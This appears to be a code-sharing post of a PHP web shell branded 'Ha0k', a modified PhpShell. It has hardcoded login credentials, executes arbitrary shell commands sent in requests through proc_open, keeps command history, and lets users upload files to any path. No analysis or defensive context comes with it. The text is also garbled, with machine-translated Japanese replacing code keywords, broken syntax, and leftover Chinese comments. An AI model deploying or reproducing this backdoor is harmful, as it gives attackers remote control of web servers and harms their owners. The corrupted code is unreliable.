コードをコピー コードは次のとおりです:
//ここで複数のユーザーを設定できます
$passwd = array('ha0k' => 'ha0k',
'hackerdsb'=>' hackerdsb ');
/* ここにコマンドのエイリアスを設定します*/
$aliases = array('ls' => 'ipconfig',
'll' => 'ls -lvhF') ;
if (!isset($_SERVER['PHP_AUTH_USER'])||!isset($_SERVER['PHP_AUTH_PW'])||
!isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
header('WWW-Authenticate: Basic realm="by Ha0k"'); header('HTTP/1.0 401 Unauthorized');
$authenticated = false;
else {
$authenticated = true
/* セッションの開始 */
session_start( );
/* セッションを初期化します。 */
if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
$_SESSION['cwd] '] = getcwd(); //現在のディレクトリを取得します
$_SESSION['history'] = array();
$_SESSION['output'] = ''; ( !empty($_REQUEST['command'])) {
if (get_magic_quotes_gpc()) { //0 はオフを意味し、1 はオンを意味し、オンの場合はフィルター
/* を追加したくありませんコマンドは
* エスケープ形式で履歴に保存されるため、バックスラッシュを削除します。 */
$_REQUEST['command'] =tripslashes($_REQUEST['command']); //addslashes() を使用します。 ) 関数で処理した文字列がそのまま返されます
}
/*history */
if (($i = array_search($_REQUEST['command'], $_SESSION['history']) ) != = false) //保存された配列内の値を検索
unset($_SESSION['history'][$i]) //Destroy
array_unshift($_SESSION['history'], $ _REQUEST['command ']);//array_unshift() 関数は、新しい要素を配列に挿入します。そして、この新しい配列は元の配列の先頭に追加されます。この関数が最終的に返すのは、新しい要素を挿入した後の配列です。
/* 出力Ha0k# コマンド */
$_SESSION['output'] .= 'Ha0k# ' . $_REQUEST['コマンド'] 。 「ん」;
/* 現在の作業ディレクトリを初期化します。 */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
$_SESSION['cwd' ] = ディレクトリ名(__FILE__); //获取当前所在目录
} elseif (ereg('^[[:blank:]]*cd[[:blank:]] ([^;] )$', $_REQUEST['command'], $ regs)) {
/* 現在のコマンドは 'cd' コマンドであり、
* を内部シェル コマンドとして処理する必要があります。 */
if ($regs[1][0] == '/') {
/* 絶対パス。変更せずに使用します。 */
$new_dir = $regs[1];
} else {
/* 相対パス。現在の作業中の
* ディレクトリに追加します。 */
$new_dir = $_SESSION['cwd'] 。 '/' 。 $regs[1];
}
/* '/./' を '/' に変換します */
while (strpos($new_dir, '/./') !== false)
$new_dir = str_replace( '/./'、'/'、$new_dir);
/* '//' を '/' に変換します */
while (strpos($new_dir, '//') !== false)
$new_dir = str_replace('//', ' /', $new_dir);
/* 'x/..' を '' に変換します */
while (preg_match('|/..(?!.)|', $new_dir))
$new_dir = preg_replace(' |/?[^/] /..(?!.)|', '', $new_dir);
if ($new_dir == '') $new_dir = '/';
/* ディレクトリを変更してみます。 */
if (@chdir($new_dir)) { //改变当前目录
$_SESSION['cwd'] = $new_dir;
} else {
$_SESSION['output'] .= "cd: を $new_dirn に変更できませんでした";
}
} else {
/* このコマンドは「cd」コマンドではないため、
* ディレクトリを変更した後に実行し、出力を保存します。 */
chdir($_SESSION['cwd']); //改变目录
/* 别名扩展 */
$length = strcspn($_REQUEST['command'], " t"); //查找t文字列、戻り位置
$token = substr($_REQUEST['command'], 0, $length); //取字符串0-t
if (isset($aliases[$token]))
$_REQUEST['command'] = $aliases[$token] 。 substr($_REQUEST['コマンド'], $length);
$p = proc_open($_REQUEST['command'], //スクリプトを実行
array(1 => array('pipe', 'w'),
2 => array('パイプ'、'w'))、
$io);
/* 读出送信 */
while (!feof($io[1])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[1]), / /转换特殊文字符はHTML文字符编码
ENT_COMPAT, 'GB2312');
}
/* 读出 */
while (!feof($io[2])) {
$_SESSION['output'] .= htmlspecialchars(fgets($io[2] )、
ENT_COMPAT、'GB2312');
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在JavaScript使用コマンド历史记录 */
if (empty($_SESSION['history']) ) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';// 将数组搞成字串
}
}
header( 'コンテンツタイプ: text/html');
エコー '' 。 「ん」;
?>
if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST[ 'リモートファイル']);
//echo "上传文件成功: " . $HTTP_POST_FILES['ユーザーファイル']['名前'];
}
?>
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" >
PhpShell に対する認証に失敗しました。 href="">リロードもう一度試してください。
インストール を読んでみてください。
PhpShell のインストールで問題が発生した場合は、このファイルを参照してください。
現在の目录は: <?php echo $_SESSION['cwd'] ?>